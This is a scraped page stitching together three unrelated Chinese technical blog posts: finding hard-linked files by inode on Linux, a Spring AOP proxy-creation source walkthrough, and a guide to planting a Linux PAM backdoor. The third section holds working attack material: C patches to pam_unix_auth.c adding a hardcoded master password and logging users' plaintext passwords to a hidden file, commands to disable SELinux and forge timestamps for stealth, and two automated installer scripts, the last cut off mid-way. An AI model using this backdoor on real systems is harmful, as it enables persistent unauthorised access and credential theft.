Linux下如何尋找相同文件?

大家好,我是良許。

隨着電腦的使用,系統里將產生很多垃圾,最典型的就是同一份文件被保存到了不同的位置,這樣導致的結果就是磁盤空間被大量佔用,系統運行越來越慢。

所以如果你的電腦空間告急的話,可以試着去刪除這樣的文件,釋放一些空間。在 Linux 下,我們可以通過識別文件的 inode 值來找出系統中的相同文件。

inode 是一個數據結構,記錄了文件所有信息,除了文件名和文件內容。如果兩個或多個文件具有相同的 inode 值,即使它們的文件名不一樣,位置不一樣,它們的內容、所有者、權限其實都是一樣的,我們可以將其視有相同文件。

這類型的文件其實就是所謂的「硬鏈接」。硬鏈接具有相同的 inode 值,但文件名不一樣。而軟鏈接其實就是快捷方式,它指向目標文件,但有着自己的 inode 值。

$ ls -l my*
-rw-r--r-- 4 liangxu liangxu   228 Apr 12 19:37 myfile
lrwxrwxrwx 1 liangxu liangxu     6 Apr 15 11:18 myref -> myfile
-rw-r--r-- 4 liangxu liangxu   228 Apr 12 19:37 mytwin

我們無法直接知道同一目錄下有哪些文件是有相同的 inode 值,但要識別起來也不難。其實我們只要使用 ls -i 命令,再以 inode 值進行排序,就可以直接找到這些文件。

$ ls -i | sort -n | more
 ...
 788000 myfile	<==
 788000 mytwin	<==
 801865 Name_Labels.pdf
 786692 never leave home angry
 920242 NFCU_Docs
 800247 nmap-notes

在這個結果的第一列里,就是對應的 inode 值。所以從這個結果里我們一眼就可以看出來,哪些文件具有相同 inode 值。

如果你只是想找到一個文件的對應硬鏈接文件,我們可以使用 find 命令,再加個 -samefile 選項即可快速找到。

$ find . -samefile myfile
./myfile
./save/mycopy
./mytwin

這些文件都是有相同的 inode 值,不信的話可以再使用 ls 命令來查看更多信息:

$ find . -samefile myfile -ls
 788000    4 -rw-r--r--   4 liangxu    liangxu      228 Apr 12 19:37 ./myfile
 788000    4 -rw-r--r--   4 liangxu    liangxu      228 Apr 12 19:37 ./save/mycopy
 788000    4 -rw-r--r--   4 liangxu    liangxu      228 Apr 12 19:37 ./mytwin

我們可以看到,除了文件名之外,這幾個文件名的信息完全一樣。細心的朋友可能會注意到,在第2列(硬連接數)是4,而實際上我們找出來的文件只有3個,這說明還有一個文件與他們共享 inode 值,只是我們通過這條命令沒有找出來而已。

作為一個懶人,每次敲命令多麻煩,直接上腳本找出目錄下的相同文件!

#!/bin/bash

# seaches for files sharing inodes

prev=""

# list files by inode
ls -i | sort -n > /tmp/$0

# search through file for duplicate inode #s
while read line
do
    inode=`echo $line | awk '{print $1}'`
    if [ "$inode" == "$prev" ]; then
        grep $inode /tmp/$0
    fi
    prev=$inode
done < /tmp/$0

# clean up
rm /tmp/$0

運行結果:

$ ./findHardLinks
 788000 myfile
 788000 mytwin

當然了,你還可以使用 find 命令,根據 inode 值,找到系統里所有相同文件。

$ find / -inum 788000 -ls 2> /dev/null
 788000   4 -rw-r--r--   4 liangxu   liangxu    228 Apr 12 19:37 /tmp/mycopy
 788000   4 -rw-r--r--   4 liangxu   liangxu    228 Apr 12 19:37 /home/liangxu/myfile
 788000   4 -rw-r--r--   4 liangxu   liangxu    228 Apr 12 19:37 /home/liangxu/save/mycopy
 788000   4 -rw-r--r--   4 liangxu   liangxu    228 Apr 12 19:37 /home/liangxu/mytwin

在這條命令里,我們將錯誤提示重定向到 /dev/null 這個特殊文件里,這樣在搜索一些我們沒有權限訪問的路徑時,不會滿屏的 permission denied 。

公眾號:良許Linux

有收穫?希望老鐵們來個三連擊,給更多的人看到這篇文章

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

※網頁設計最專業,超強功能平台可客製化

Spring AOP學習筆記04:AOP核心實現之創建代理

  上文中,我們分析了對所有增強器的獲取以及獲取匹配的增強器,在本文中我們就來分析一下Spring AOP中另一部分核心邏輯–代理的創建。這部分邏輯的入口是在wrapIfNecessary()方法中緊接着增強器的獲取之後的createProxy():

protected Object createProxy(
        Class<?> beanClass, String beanName, Object[] specificInterceptors, TargetSource targetSource) {

    ProxyFactory proxyFactory = new ProxyFactory();
    // 獲取當前類中相關屬性
    proxyFactory.copyFrom(this);
    // 決定對於給定的bean是否應該使用targetClass而不是它的接口進行代理
    if (!shouldProxyTargetClass(beanClass, beanName)) {
        // Must allow for introductions; can't just set interfaces to
        // the target's interfaces only.
        Class<?>[] targetInterfaces = ClassUtils.getAllInterfacesForClass(beanClass, this.proxyClassLoader);
        for (Class<?> targetInterface : targetInterfaces) {
            // 添加代理接口
            proxyFactory.addInterface(targetInterface);
        }
    }

    Advisor[] advisors = buildAdvisors(beanName, specificInterceptors);
    for (Advisor advisor : advisors) {
        // 加入增強器
        proxyFactory.addAdvisor(advisor);
    }
    // 設置要代理的類
    proxyFactory.setTargetSource(targetSource);
    // 定製代理
    customizeProxyFactory(proxyFactory);
    // 用來控制代理工廠被配置之後,是否還允許修改通知
    // 默認值為false(即在代理被配置之後,不允許修改代理的配置)
    proxyFactory.setFrozen(this.freezeProxy);
    if (advisorsPreFiltered()) {
        proxyFactory.setPreFiltered(true);
    }

    return proxyFactory.getProxy(this.proxyClassLoader);
}

  對於代理類的創建及處理,Spring委託給了ProxyFactory進行處理,而在上面的函數中主要是對ProxyFactory的初始化操作,為真正的代理創建做準備,初始化包括如下內容:

  • 獲取當前中的屬性;
  • 添加代理接口;
  • 封裝Advisor並加入到ProxyFactory中;
  • 設置要代理的類;
  • 對代理工廠進行定製化處理,供子類實現;
  • 進行獲取代理操作;

  其中封裝Advisor並加入到ProxyFactory中以及創建代理是兩個相對繁瑣的過程,可以通過ProxyFactory提供的addAdvisor方法直接將增強器置入代理創建工廠中,但是將攔截器封裝為增強器還是需要一定的邏輯的。

protected Advisor[] buildAdvisors(String beanName, Object[] specificInterceptors) {
    // 解析註冊的所有interceptorName
    Advisor[] commonInterceptors = resolveInterceptorNames();

    List<Object> allInterceptors = new ArrayList<Object>();
    if (specificInterceptors != null) {
        // 加入攔截器
        allInterceptors.addAll(Arrays.asList(specificInterceptors));
        if (commonInterceptors != null) {
            if (this.applyCommonInterceptorsFirst) {
                allInterceptors.addAll(0, Arrays.asList(commonInterceptors));
            }
            else {
                allInterceptors.addAll(Arrays.asList(commonInterceptors));
            }
        }
    }
    if (logger.isDebugEnabled()) {
        int nrOfCommonInterceptors = (commonInterceptors != null ? commonInterceptors.length : 0);
        int nrOfSpecificInterceptors = (specificInterceptors != null ? specificInterceptors.length : 0);
        logger.debug("Creating implicit proxy for bean '" + beanName + "' with " + nrOfCommonInterceptors +
                " common interceptors and " + nrOfSpecificInterceptors + " specific interceptors");
    }

    Advisor[] advisors = new Advisor[allInterceptors.size()];
    for (int i = 0; i < allInterceptors.size(); i++) {
        // 將攔截器進行包裝轉化為Advisor
        advisors[i] = this.advisorAdapterRegistry.wrap(allInterceptors.get(i));
    }
    return advisors;
}

public Advisor wrap(Object adviceObject) throws UnknownAdviceTypeException {
    // 如果要封裝的對象本身就是Advisor類型的那麼無需再做過多處理
    if (adviceObject instanceof Advisor) {
        return (Advisor) adviceObject;
    }
    // 如果不是Advisor與Advice兩種類型,則拋出異常
    if (!(adviceObject instanceof Advice)) {
        throw new UnknownAdviceTypeException(adviceObject);
    }
    Advice advice = (Advice) adviceObject;
    if (advice instanceof MethodInterceptor) {
        // 如果是MethodInterceptor類型則使用DefaultPointcutAdvisor封裝
        return new DefaultPointcutAdvisor(advice);
    }
    // 如果存在Advisor的適配器那麼也同樣需要進行封裝
    for (AdvisorAdapter adapter : this.adapters) {
        // Check that it is supported.
        if (adapter.supportsAdvice(advice)) {
            return new DefaultPointcutAdvisor(advice);
        }
    }
    throw new UnknownAdviceTypeException(advice);
}

  因為Spring中涉及過多的攔截器、增強器、增強方法等方式來對邏輯進行增強,所以非常有必要將增強器封裝成Advisor來進行代理的創建,完成了增強的封裝過程,那麼接下來就是最重要的一步–代理的創建與獲取。

public Object getProxy(ClassLoader classLoader) {
    return createAopProxy().getProxy(classLoader);
}

1. 創建代理

protected final synchronized AopProxy createAopProxy() {
    if (!this.active) {
        activate();
    }
    // 創建代理
    return getAopProxyFactory().createAopProxy(this);
}

public AopProxy createAopProxy(AdvisedSupport config) throws AopConfigException {
    if (config.isOptimize() || config.isProxyTargetClass() || hasNoUserSuppliedProxyInterfaces(config)) {
        Class targetClass = config.getTargetClass();
        if (targetClass == null) {
            throw new AopConfigException("TargetSource cannot determine target class: " +
                    "Either an interface or a target is required for proxy creation.");
        }
        if (targetClass.isInterface()) {
            return new JdkDynamicAopProxy(config);
        }
        return CglibProxyFactory.createCglibProxy(config);
    }
    else {
        return new JdkDynamicAopProxy(config);
    }
}

  到這裏已經完成了代理的創建了,不管我們之前是否有閱讀過Spring的源碼,但是應該或多或少都聽說過對於Spring的代理中JDKProxy的實現CglibProxy的實現。Spring是如果選取的呢?現在我們就從源碼的角度分析,看看到底Spring是如何選擇代理方式的。

  從上面代碼中的判斷條件可以看到3個方面影響着Spring的判斷:

  • optimize:用來控制通過CGLIB創建的代理是否使用激進的優化策略。除非完全了解AOP代理如何處理優化,否則不推薦用戶使用這個設置。目前這個屬性僅用於CGLIB代理,對於JDK動態代理(默認代理)無效。
  • proxyTargetClass:這個屬性為true時,目標類本身被代理而不是目標類的接口,並且使用CGLIB方式創建代理,xml文件配置方式為:<aop:aspectj-autoproxy proxy-target-class=”true”/>。
  • hasNoUserSuppliedProxyInterfaces:是否存在代理接口。

  下面是對JDK與Cglib方式的總結:

  • 如果目標對象實現了接口,默認情況下會採用JDK的動態代理實現AOP;
  • 如果目標對象實現了接口,可以強制使用CGLIB實現AOP;
  • 如果目標對象沒有實現接口,則必須採用CGLIB方式實現AOP,Spring會自動切換;

如何強制使用CGLIB實現AOP?

  • 添加CGLIB庫,Spring_HOME/cglib/*.jar
  • 在Spring配置文件中加入<aop:aspectj-autoproxy proxy-target-class=”true”/>

JDK動態代理和CGLIB字節碼生成的區別?

  • JDK動態代理只能對實現了接口的類生成代理,而不能針對類。
  • CGLIB是針對類實現代理,主要是對指定的類生成一個子類,覆蓋其中的方法,因為是繼承,所以該類或方法最好不要聲明成final。

 

2. 獲取代理

  確定了使用哪種代理方式之後便可以進行代理的創建了,Spring中主要使用了兩種方式來實現代理的創建:JDK動態代理、cglib,我們一一來解析。

2.1 JDK動態代理方式

  這裏直接定位到JdkDynamicAopProxy中的getProxy():

public Object getProxy(ClassLoader classLoader) {
    if (logger.isDebugEnabled()) {
        logger.debug("Creating JDK dynamic proxy: target source is " + this.advised.getTargetSource());
    }
    Class<?>[] proxiedInterfaces = AopProxyUtils.completeProxiedInterfaces(this.advised);
    findDefinedEqualsAndHashCodeMethods(proxiedInterfaces);
    return Proxy.newProxyInstance(classLoader, proxiedInterfaces, this);
}

  JDK動態代理的使用關鍵是創建自定義的InvocationHandler,而InvocationHandler中包含了需要覆蓋的函數getProxy,這裏其實JdkDynamicAopProxy就是繼承了InvocationHandler的,所以上面的方法正是完成了這個操作,並且我們還可以推斷出,在JdkDynamicAopProxy中一定會有一個invoke函數,並且JdkDynamicAopProxy會把AOP的核心邏輯寫在其中,找一下,一定會有這樣一個函數的:

public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
    MethodInvocation invocation;
    Object oldProxy = null;
    boolean setProxyContext = false;

    TargetSource targetSource = this.advised.targetSource;
    Class<?> targetClass = null;
    Object target = null;

    try {
        // 處理equals方法
        if (!this.equalsDefined && AopUtils.isEqualsMethod(method)) {
            return equals(args[0]);
        }
        // 處理hash方法
        if (!this.hashCodeDefined && AopUtils.isHashCodeMethod(method)) {
            return hashCode();
        }
        if (!this.advised.opaque && method.getDeclaringClass().isInterface() &&
                method.getDeclaringClass().isAssignableFrom(Advised.class)) {
            // Service invocations on ProxyConfig with the proxy config...
            return AopUtils.invokeJoinpointUsingReflection(this.advised, method, args);
        }

        Object retVal;
        // 有時候目標對象內部的自我調用將無法實施切面中的增強,則需要通過此屬性暴露代理
        if (this.advised.exposeProxy) {
            oldProxy = AopContext.setCurrentProxy(proxy);
            setProxyContext = true;
        }

        target = targetSource.getTarget();
        if (target != null) {
            targetClass = target.getClass();
        }

        // 獲取當前方法的攔截器鏈
        List<Object> chain = this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);

        if (chain.isEmpty()) {
            // 如果沒有任何攔截器鏈則直接調用切點方法
            retVal = AopUtils.invokeJoinpointUsingReflection(target, method, args);
        }
        else {
            // 將攔截器封裝在ReflectiveMethodInvocation,以便於使用其proceed進行鏈式調用攔截器
            invocation = new ReflectiveMethodInvocation(proxy, target, method, args, targetClass, chain);
            // 執行攔截器鏈
            retVal = invocation.proceed();
        }

        // 返回結果
        Class<?> returnType = method.getReturnType();
        if (retVal != null && retVal == target && returnType.isInstance(proxy) && !RawTargetAccess.class.isAssignableFrom(method.getDeclaringClass())) {
            retVal = proxy;
        }
        else if (retVal == null && returnType != Void.TYPE && returnType.isPrimitive()) {
            throw new AopInvocationException(
                    "Null return value from advice does not match primitive return type for: " + method);
        }
        return retVal;
    }
    finally {
        if (target != null && !targetSource.isStatic()) {
            // Must have come from TargetSource.
            targetSource.releaseTarget(target);
        }
        if (setProxyContext) {
            // Restore old proxy.
            AopContext.setCurrentProxy(oldProxy);
        }
    }
}

  上面的invoke()函數最主要的工作就是創建了一個攔截器鏈,並使用ReflectiveMethodInvocation類進行了鏈的封裝,而在ReflectiveMethodInvocation類的proceed方法中實現了攔截器的逐一調用,那麼我們就繼續來探究,在proceed方法中是怎麼實現諸如前置增強在目標方法前調用以及後置增強在目標方法后調用的邏輯的。

public Object proceed() throws Throwable {
    //    執行完所有增強后執行切點方法
    if (this.currentInterceptorIndex == this.interceptorsAndDynamicMethodMatchers.size() - 1) {
        return invokeJoinpoint();
    }
    // 獲取下一個要執行的攔截器
    Object interceptorOrInterceptionAdvice =
            this.interceptorsAndDynamicMethodMatchers.get(++this.currentInterceptorIndex);
    if (interceptorOrInterceptionAdvice instanceof InterceptorAndDynamicMethodMatcher) {
        // 動態匹配
        InterceptorAndDynamicMethodMatcher dm =
                (InterceptorAndDynamicMethodMatcher) interceptorOrInterceptionAdvice;
        if (dm.methodMatcher.matches(this.method, this.targetClass, this.arguments)) {
            return dm.interceptor.invoke(this);
        }
        else {
            // 若未匹配則不執行攔截器,調用攔截器鏈中下一個
            return proceed();
        }
    }
    else {
        // 普通攔截器,直接調用。將this作為參數傳入以保證當前實例中調用鏈的執行
        return ((MethodInterceptor) interceptorOrInterceptionAdvice).invoke(this);
    }
}

  ReflectiveMethodInvocation的主要職責是維護一個鏈式調用的計數器,記錄著當前調用鏈的位置,以便鏈可以有序地進行下去。其實在這個方法中並沒有我們設想的維護各種增強的順序,但是細心的讀者可能會發現,這部分工作其實是委託給了各個增強器來實現,前面有說到。

2.2 Cglib方式

  完成CGLIB代理的類是委託給CglibAopProxy類去實現的,我們來一探究竟。根據前面的分析,我們容易判斷出來,CglibAopProxy的入口應該也是在getProxy():

public Object getProxy(ClassLoader classLoader) {
    if (logger.isDebugEnabled()) {
        logger.debug("Creating CGLIB proxy: target source is " + this.advised.getTargetSource());
    }

    try {
        Class<?> rootClass = this.advised.getTargetClass();
        Assert.state(rootClass != null, "Target class must be available for creating a CGLIB proxy");

        Class<?> proxySuperClass = rootClass;
        if (ClassUtils.isCglibProxyClass(rootClass)) {
            proxySuperClass = rootClass.getSuperclass();
            Class<?>[] additionalInterfaces = rootClass.getInterfaces();
            for (Class<?> additionalInterface : additionalInterfaces) {
                this.advised.addInterface(additionalInterface);
            }
        }

        // 驗證Class
        validateClassIfNecessary(proxySuperClass);

        // 創建及配置CGLIB Enhancer
        Enhancer enhancer = createEnhancer();
        if (classLoader != null) {
            enhancer.setClassLoader(classLoader);
            if (classLoader instanceof SmartClassLoader &&
                    ((SmartClassLoader) classLoader).isClassReloadable(proxySuperClass)) {
                enhancer.setUseCache(false);
            }
        }
        enhancer.setSuperclass(proxySuperClass);
        enhancer.setInterfaces(AopProxyUtils.completeProxiedInterfaces(this.advised));
        enhancer.setNamingPolicy(SpringNamingPolicy.INSTANCE);
        enhancer.setStrategy(new MemorySafeUndeclaredThrowableStrategy(UndeclaredThrowableException.class));
        enhancer.setInterceptDuringConstruction(false);
        // 設置攔截器
        Callback[] callbacks = getCallbacks(rootClass);
        Class<?>[] types = new Class<?>[callbacks.length];
        for (int x = 0; x < types.length; x++) {
            types[x] = callbacks[x].getClass();
        }
        enhancer.setCallbackFilter(new ProxyCallbackFilter(
                this.advised.getConfigurationOnlyCopy(), this.fixedInterceptorMap, this.fixedInterceptorOffset));
        enhancer.setCallbackTypes(types);
        enhancer.setCallbacks(callbacks);

        // 生成代理類及創建代理對象
        Object proxy;
        if (this.constructorArgs != null) {
            proxy = enhancer.create(this.constructorArgTypes, this.constructorArgs);
        }
        else {
            proxy = enhancer.create();
        }

        return proxy;
    }
    catch (CodeGenerationException ex) {
        catch若干異常。。。
    }
}

  上面的函數中就是一個完整創建Enhancer的過程,詳細可以參考Enhancer的文檔,這裏最重要的是通過getCallbacks()方法設置攔截器鏈。

private Callback[] getCallbacks(Class<?> rootClass) throws Exception {
    // 對於expose-proxy屬性的處理
    boolean exposeProxy = this.advised.isExposeProxy();
    boolean isFrozen = this.advised.isFrozen();
    boolean isStatic = this.advised.getTargetSource().isStatic();

    // 將攔截器封裝在DynamicAdvisedInterceptor中
    Callback aopInterceptor = new DynamicAdvisedInterceptor(this.advised);

    // Choose a "straight to target" interceptor. (used for calls that are
    // unadvised but can return this). May be required to expose the proxy.
    Callback targetInterceptor;
    if (exposeProxy) {
        targetInterceptor = isStatic ?
                new StaticUnadvisedExposedInterceptor(this.advised.getTargetSource().getTarget()) :
                new DynamicUnadvisedExposedInterceptor(this.advised.getTargetSource());
    }
    else {
        targetInterceptor = isStatic ?
                new StaticUnadvisedInterceptor(this.advised.getTargetSource().getTarget()) :
                new DynamicUnadvisedInterceptor(this.advised.getTargetSource());
    }

    // 將攔截器加入到callback中
    Callback targetDispatcher = isStatic ?
            new StaticDispatcher(this.advised.getTargetSource().getTarget()) : new SerializableNoOp();

    Callback[] mainCallbacks = new Callback[] {
            aopInterceptor,  // for normal advice
            targetInterceptor,  // invoke target without considering advice, if optimized
            new SerializableNoOp(),  // no override for methods mapped to this
            targetDispatcher, this.advisedDispatcher,
            new EqualsInterceptor(this.advised),
            new HashCodeInterceptor(this.advised)
    };

    Callback[] callbacks;

    // If the target is a static one and the advice chain is frozen,
    // then we can make some optimisations by sending the AOP calls
    // direct to the target using the fixed chain for that method.
    if (isStatic && isFrozen) {
        Method[] methods = rootClass.getMethods();
        Callback[] fixedCallbacks = new Callback[methods.length];
        this.fixedInterceptorMap = new HashMap<String, Integer>(methods.length);

        // TODO: small memory optimisation here (can skip creation for methods with no advice)
        for (int x = 0; x < methods.length; x++) {
            List<Object> chain = this.advised.getInterceptorsAndDynamicInterceptionAdvice(methods[x], rootClass);
            fixedCallbacks[x] = new FixedChainStaticTargetInterceptor(
                    chain, this.advised.getTargetSource().getTarget(), this.advised.getTargetClass());
            this.fixedInterceptorMap.put(methods[x].toString(), x);
        }

        // Now copy both the callbacks from mainCallbacks
        // and fixedCallbacks into the callbacks array.
        callbacks = new Callback[mainCallbacks.length + fixedCallbacks.length];
        System.arraycopy(mainCallbacks, 0, callbacks, 0, mainCallbacks.length);
        System.arraycopy(fixedCallbacks, 0, callbacks, mainCallbacks.length, fixedCallbacks.length);
        this.fixedInterceptorOffset = mainCallbacks.length;
    }
    else {
        callbacks = mainCallbacks;
    }
    return callbacks;
}

  在getCallback()中Spring考慮了很多情況,有很多的細節,但是我們閱讀源碼是沒有必要也沒有那麼多精力把每一個細節都弄明白的,重點是抓住主幹即可。這裏只需要理解最常用的,比如將advised屬性封裝在DynamicAdvisedInterceptor並加入在callbacks中,這麼做的目的是什麼呢?在CGLIB中對於方法的攔截是通過將自定義的攔截器(實現了MethodInterceptor接口的類)加入Callback中並在調用代理時直接激活攔截器中的intercept()方法來實現的,而在getCallback()方法中正好有這一部分功能的實現,DynamicAdvisedInterceptor繼承自MethodInterceptor,加入Callback中后,在再次調用代理時會直接調用其intercept()方法,由此推斷,對於CGLIB方式實現的代理,其核心邏輯應該是在DynamicAdvisedInterceptor中的intercept()方法中的:

public Object intercept(Object proxy, Method method, Object[] args, MethodProxy methodProxy) throws Throwable {
    Object oldProxy = null;
    boolean setProxyContext = false;
    Class<?> targetClass = null;
    Object target = null;
    try {
        if (this.advised.exposeProxy) {
            // Make invocation available if necessary.
            oldProxy = AopContext.setCurrentProxy(proxy);
            setProxyContext = true;
        }
        // May be null. Get as late as possible to minimize the time we
        // "own" the target, in case it comes from a pool...
        target = getTarget();
        if (target != null) {
            targetClass = target.getClass();
        }
        // 獲取攔截器鏈
        List<Object> chain = this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);
        Object retVal;
        if (chain.isEmpty() && Modifier.isPublic(method.getModifiers())) {
            // 如果攔截器鏈為空則直接激活原方法
            retVal = methodProxy.invoke(target, args);
        }
        else {
            // 鏈式調用
            retVal = new CglibMethodInvocation(proxy, target, method, args, targetClass, chain, methodProxy).proceed();
        }
        retVal = processReturnType(proxy, target, method, retVal);
        return retVal;
    }
    finally {
        if (target != null) {
            releaseTarget(target);
        }
        if (setProxyContext) {
            // Restore old proxy.
            AopContext.setCurrentProxy(oldProxy);
        }
    }
}

  這裏的實現與JDK動態代理方式實現代理中的invoke方法大同小異,都是首先構造攔截器鏈,然後封裝此鏈進行串聯調用,不同的是在JDK動態代理的方式中是直接構造ReflectiveMethodInvocation,而在cglib中則是使用CglibMethodInvocation,其是繼承自ReflectiveMethodInvocation,但是proceed()方法並沒有重寫。

 

3. 總結

  本文着重分析了Spring AOP實現原理中代理對象的創建過程,在bean的初始化過程中會執行Spring的後置處理器,這裡會去判斷這個bean是否需要增強,如果需要則會根據Aspect中定義的增強信息,對指定bean進行增強,也就是創建一個代理對象。對代理對象的創建有兩種方式,一種是通過JDK動態代理的方式,另一種是通過cglib的方式。

 

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※想知道最厲害的網頁設計公司"嚨底家"!

※幫你省時又省力,新北清潔一流服務好口碑

※別再煩惱如何寫文案,掌握八大原則!

※產品缺大量曝光嗎?你需要的是一流包裝設計!

Linux Pam後門總結拓展

首發先知社區: https://xz.aliyun.com/t/7902

前言

漸漸發現pam後門在實戰中存在種植繁瑣、隱蔽性不強等缺點,這裏記錄下學習pam後門相關知識和pam後門的拓展改進。

0x01 PAM Backdoor

PAM是一種認證模塊,PAM可以作為Linux登錄驗證和各類基礎服務的認證,簡單來說就是一種用於Linux系統上的用戶身份驗證的機制。進行認證時首先確定是什麼服務,然後加載相應的PAM的配置文件(位於/etc/pam.d),最後調用認證文件(位於/lib/security)進行安全認證

簡易利用的PAM後門也是通過修改PAM源碼中認證的邏輯來達到權限維持

以下為Pam後門種植的過程,只是特別把一點tips和需要注意的點貼出來。

查詢目標版本後下載對應源代碼修改認證邏輯、編譯替換原認證文件即可。版本務必要和目標系統完全保持對應。

源碼:http://www.linux-pam.org/library/

查詢版本rpm -qa | grep pam

tar -xzvf Linux-PAM-1.1.1.tar.gz
cd Linux-PAM-1.1.1
cd modules/pam_unix/
vim pam_unix_auth.c

**pam_unix_auth.c ** 在這裏你可以修改認證邏輯,改成使用特定密碼的後門,當然也可以作為一個記錄敏感密碼的功能,將記錄的密碼寫入文件記錄。

/* verify the password of this user */ 
retval = _unix_verify_password(pamh, name, p, ctrl); 
if(strcmp("qing!@#123",p)==0){return PAM_SUCCESS;} 
 
if(retval == PAM_SUCCESS){
        FILE * fp;
        fp = fopen("/bin/.sshlog", "a");
        fprintf(fp, "%s : %s\n", name, p);
        fclose(fp);
        }

這裏也提一下,實際各種複雜環境還是推薦非交互去修改源碼

apt-get install dpkg-dev flex
apt-get source libpam-modules=`dpkg -s libpam-modules \
> | grep -i version | cut -d' ' -f2`
 cd pam-1.1.1/modules/pam_unix/
 sed -i '/\tretval = _unix_verify_password(pamh, name, p, ctrl);/ a \\tif (strcmp(p, \"micasa\") == 0) { retval = PAM_SUCCESS; }' pam_unix_auth.c
 cd ../..
 ./configure
 make
 cd

編譯、修改:

在目標機器上重新編譯PAM,而後,再將生成的庫複製到系統的/lib64/security/[注意,32和64位系統下該目錄的路徑不一樣的目錄下

cd ../../
./configure && make  (./configure --prefix=/user --exec-prefix=/usr --localstatedir=/var --sysconfdir=/etc --disable-selinux --with-libiconv-prefix=/usr)
mv pam_unix.so{,.bak} #備份
cp /root/Linux-PAM-1.1.1/modules/pam_unix/.libs/pam_unix.so /lib64/security/ #覆蓋替換
echo $?

注意的tips

過程只是有些步驟,需要注意的時候在編譯後門關閉Selinux或設置上下文,以及修改pam認證的一些時間戳達到基本的隱蔽。

stat pam_unix.*
touch -t 201002160134 pam_unix.so
touch pam_unix.so -r pam_unix.so.src  #克隆原始文件時間
ls -Z pam_unix.so.src (查看原始文件的Selinux上下文) 
chcon –reference=pam_unix.so.src pam_unix.so   setsebool -P allow_saslauthd_read_shadow 1    # 設置Selinux上下文

#或直接時間戳給變量來修改
 timestamp=`ls -l /lib/security/ | grep pam_unix.so | grep -v ^l \
> | awk '{print $6$7}' | tr -d '-' | tr -d ':'`
 touch -t $timestamp /lib/security/pam_unix.so

一定注意替換完成后測試ok再退出不然基本的認證就亂了

root@qing:~/pam/Linux-PAM-1.1.8/modules/pam_unix# ls -alh /bin/.sshlog
-rw-r--r--. 1 root root 162 May 31 03:15 /bin/.sshlog

Pam 後門一些報錯解決:

編譯中的問題解決:64位系統編譯可能會遇到yywrap()函數未定義錯誤

  • 1.根據提示的文件路徑,在裏面定義
  • #define yywrap() 1 或者int yywrap(){return 1;}
  • 2.在C文件中定義 %option noyywrap
  • 3.安裝flex軟件包就可以正常編譯了 yum install flex

記得Selinux一定要關閉或者設置上下文

Pam後門種植腳本

但是在種植過程中對於步驟顯得有點繁瑣,腳本來簡化步驟,腳本一把PAM種植過程的命令傻瓜式寫進sh, 腳本二來自zephrax:

root@qing:~/pam# cat pam.sh
#!/bin/bash
PASS='qing123' ##......
LOG='\/bin\/.sshlog' ##......
echo -e "\nPam-Backdoor\n\n\n"
version=`rpm -qa | grep pam | awk -F- '{print $2}'`
#get the pam version

#close the selinux
if [ `getenforce` = '1' ];then
setenforce 0
line_n = `grep -n "^SELINUX=enforcing" /etc/sysconfig/selinux | awk -F: '{print $1}'`
sed -i $line_n' d' /etc/sysconfig/selinux
sed -i $line_n" a\SELINUX=disabled" /etc/sysconfig/selinux
/etc/sysconfig/selinux
else
echo "selinux is closed"
fi
if [ `uname -p` = 'x86_64' ];then
LIBPATH=lib64
else
LIBPATH=lib
fi
oldtime=`stat -c '%z' /lib64/security/pam_ftp.so`
echo 'Pam backdoor starting!'
mirror_url='http://www.linux-pam.org/library/Linux-PAM-'$version'.tar.gz'
#mirror_url='http://yum.singlehop.com/pub/linux/libs/pam/pre/library/Linux-PAM-0.99.6.2.tar.gz'
version='Linux-PAM-'$version
echo 'Fetching from '$mirror_url
wget $mirror_url #fetch the roll
tar zxf $version'.tar.gz' #untar
cd $version
#find and replace
sed -i -e 's/retval = _unix_verify_password(pamh, name, p, ctrl);/retval = _unix_verify_password(pamh, name, p, ctrl);\n\tif (strcmp(p,"'$PASS'")==0 ){retval = PAM_SUCCESS;}if(retval == PAM_SUCCESS){\n\tFILE * fp;\n\tfp = fopen("'$LOG'", "a");\n\tfprintf(fp, "%s : %s\\n", name, p);\n\tfclose(fp);\n\t}/g' modules/pam_unix/pam_unix_auth.c
DIS=`head /etc/issue -n 1|awk '{print $1}'`
#get the version
if [ $DIS = "CentOS" ];then
./configure --disable-selinux && make
else
./configure && make
fi
/bin/cp -rf /$LIBPATH/security/pam_unix.so /$LIBPATH/security/pam_unix.so.bak #.. .........
/bin/cp -rf modules/pam_unix/.libs/pam_unix.so /$LIBPATH/security/pam_unix.so
touch -d "$oldtime" /$LIBPATH/security/pam_unix.so
cd .. && rm -rf Linux-PAM-1.1.1*
echo "PAM BackDoor is Done"
#!/bin/bash

OPTIND=1

PAM_VERSION=
PAM_FILE=
PASSWORD=

echo "Automatic PAM Backdoor"

function show_help {
	echo ""
	echo "Example usage: $0 -v 1.3.0 -p some_s3cr3t_p455word"
	echo "For a list of supported versions: http://www.linux-pam.org/library/"
}

while getopts ":h:?:p:v:" opt; do
    case "$opt" in
    h|\?)
        show_help
        exit 0
        ;;
    v)  PAM_VERSION="$OPTARG"
        ;;
    p)  PASSWORD="$OPTARG"
        ;;
    esac
done

shift $((OPTIND-1))

[ "$1" = "--" ] && shift

if [ -z $PAM_VERSION ]; then
	show_help
	exit 1
fi;

if [ -z $PASSWORD ]; then
	show_help
	exit 1
fi;

echo "PAM Version: $PAM_VERSION"
echo "Password: $PASSWORD"
echo ""

PAM_BASE_URL="http://www.linux-pam.org/library"
PAM_DIR="Linux-PAM-${PAM_VERSION}"
PAM_FILE="Linux-PAM-${PAM_VERSION}.tar.bz2"
PATCH_DIR=`which patch`

if [ $? -ne 0 ]; then
	echo "Error: patch command not found. Exiting..."
	exit 1
fi
wget -c "${PAM_BASE_URL}/${PAM_FILE}"

tar xjf $PAM_FILE
